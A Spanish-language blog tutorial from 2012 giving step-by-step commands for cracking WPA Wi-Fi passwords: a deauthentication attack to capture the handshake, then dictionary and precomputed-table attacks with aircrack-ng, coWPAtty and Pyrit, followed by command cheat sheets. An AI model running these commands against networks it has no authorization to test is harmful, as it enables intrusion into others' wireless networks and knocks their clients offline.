domingo, 22 de enero de 2012

Cifrado WPA


Cifrado WPA


>>>>> Información WPA (Wikipedia):

El ataque sobre redes WPA principalmente se basa en obtener el handshake o acuerdo de cuatro vías que permite al cliente y al punto de acceso negociar las claves utilizadas para cifrar el tráfico enviado. Una vez obtenido intentar obtener la contraseña del punto de acceso mediante un ataque de diccionario.

Obteniendo el Handshake

Para obtener el handshake tenemos dos opciones, o bien esperamos a que se conecte un cliente al punto de acceso, o forzamos a un cliente conectado a reconectarse. Comentaremos la segunda opción puesto que es la que requiere trabajo por nuestra parte.


  1. Primero pondremos a airodump-ng a capturar paquetes con el fin de obtener el handshake:
sintaxisairodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del archivo donde se guardaran la captura> <interfaz>

airodump-ng --bssid 00:11:22:33:44:55 -c 11 -w captura mon0
  1. Como “vemos” en la imagen hay un cliente asociado al punto de acceso, entonces utilizaremos aireplay-ng para forzarlo a que vuelva a asociarse.
    sintaxisaireplay-ng -0 <paquetes a mandar al cliente objetivo> -a <mac del punto de acceso> -c <mac del cliente asociado al punto de acceso> <interfaz>
aireplay-ng -0 0 -a 00:11:22:33:44:55 -c aa:bb:cc:dd:ee:ff mon0
  1. Como vemos el cliente empieza a recibir paquetes y no tardara en desconectarse del punto de acceso, con lo que ya podremos detener la terminal anterior (la que contiene el aireplay-ng -0).
  1. Cuando el cliente vuelva a conectarse al punto de acceso obtendremos el handshake (aparecerá en la parte superior derecha de la ventana con el airodump-ng):
  1. Si queremos comprobar si ya tenemos el handshake almacenado en nuestro archivo de captura (.cap), podemos utilizar aircrack-ng para verlo:
    sintaxisaircrack-ng <archivo de captura .cap>
aircrack-ng captura-01.cap


RESUMEN OBTENIENDO EL HANDSHAKE

  1. airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del archivo donde se guardaran la captura> <interfaz>
  2. aireplay-ng -0 <paquetes a mandar al cliente objetivo> -a <mac del punto de acceso> -c <mac del cliente asociado al punto de acceso> <interfaz>
  3. aircrack-ng <archivo de captura .cap>



Obteniendo la contraseña

Primero intentaremos obtener la contraseña con aircrack-ng, despues repetiremos el mismo proceso con coWPAtty y al final con Pyrit aprovechando así las gpu de la tarjeta gráfica para calcular la contraseña.
A continuación intentaremos descifrar la contraseña mediante Rainbow Tables, veremos como crearlas y las utilizaremos junto con coWPAtty y Pyrit.
Aclarar que se utilizara el mismo diccionario en todos los programas, el cual contiene 86190 palabras, aunque no es muy extenso cumple su cometido para la demostración.



Obteniendo la contraseña: Aircrack-ng

  1. Primero comprobamos que el handshake se encuentra en la captura:sintaxisaircrack-ng <archivo de captura .cap>
aircrack-ng captura-01.cap
  1. A continuación lanzamos lanzaremos aircrack-ng junto con un diccionario para empezar a buscar la contraseña:
    sintaxisaircrack-ng <archivo de captura .cap> -w <diccionario>
    aircrack-ng -w diccionario captura-01.cap

En la ventana del aircrack-ng podremos observar la contraseña que esta comprobando en este momento, así como el tiempo que lleva trabajando.

  1. Al final vemos como ha encontrado la contraseña (ha tardado 45 segundos), lógicamente como mas grande sea el diccionario empleado mas tiempo tardará en encontrarla, o si esta no está en el diccionario obtendremos resultado.



Obteniendo la contraseña: coWPAtty

  1. Lanzamos coWPAtty junto con un diccionario y el essid del punto de acceso para para empezar a buscar la contraseña:
    sintaxis → cowpatty -f <diccionario> -s <ESSID del AP> -r <archivo de captura .cap>
cowpatty -f diccionario -s wireless -r captura-01.cap

Nos irá mostrando las contraseñas comprobadas y al final nos mostrará la correcta (si la encuentra).



Obteniendo la contraseña: Pyrit
  1. Con Pyrit podemos comprobar que la captura contiene el handshake mediante la opción analyze:sintaxis → pyrit -r <archivo de captura .cap> analyze
pyrit -r captura-01.cap analyze
  1. E intentamos obtener la contraseña mediante la opción attack_passthrough:
    sintaxis → pyrit -r <archivo de captura .cap> -i <diccionario> -b <BSSID del AP> attack_passthrough
pyrit -r captura-01.cap -i diccionario -b 00:11:22:33:44:55 attack_passthrough



RESUMEN OBTENIENDO LA CONTRASEÑA

AIRCRACK-NG
aircrack-ng <archivo de captura .cap> -w <diccionario>

COWPATTY
cowpatty -f <diccionario> -s <ESSID del AP> -r<archivo de captura .cap>

PYRIT
pyrit -r<archivo de captura .cap> -i <diccionario> -b <BSSID del AP> attack_passthrough



Obteniendo la contraseña: Rainbow Tables

  1. Creamos las “rainbow tables” con genpmk (viene con la herramienta coWPAtty)
sintaxisgenpmk -f <diccionario> -d<nombre con el que guardaremos la rainbow table> -s <ESSID del AP>
genpmk -f diccionario -ddic.genpkm -s wireless

La rainbow table tardará bastante en crearse, dependiendo de su tamaño:



Rainbow Tables → coWPAtty
  1. Una de las opciones para utilizar las rainbow tables es coWPAtty:
sintaxis → cowpatty -d <rainbow table> -r<archivo de captura .cap> -s <ESSID del AP> -2


cowpatty -d dic.genpkm -r captura-01.cap -s wireless -2




Rainbow Tables → Pyrit
  1. Otra posibilidad para utilizar las rainbow tables es Pyrit con la que aprovecharemos las GPU de nuestra gráfica (si esta lo permite):
         sintaxis → pyrit -r<archivo de captura .cap> -i <rainbow table> -b <BSSID del AP> attack_cowpatty

pyrit -r captura-01.cap -i dic.genpkm -b 00:11:22:33:44:55 attack_cowpatty


RESUMEN OBTENIENDO LA CONTRASEÑA:
RAINBOW TABLES


COWPATTY
genpmk -f <diccionario> -d<nombre con el que guardaremos la rainbow table> -s <ESSID del AP>

COWPATTY
cowpatty -d <rainbow table> -r<archivo de captura .cap> -s <ESSID del AP> -2

PYRIT
pyrit -r<archivo de captura .cap> -i <rainbow table> -b <BSSID del AP> attack_cowpatty


No hay comentarios:

Publicar un comentario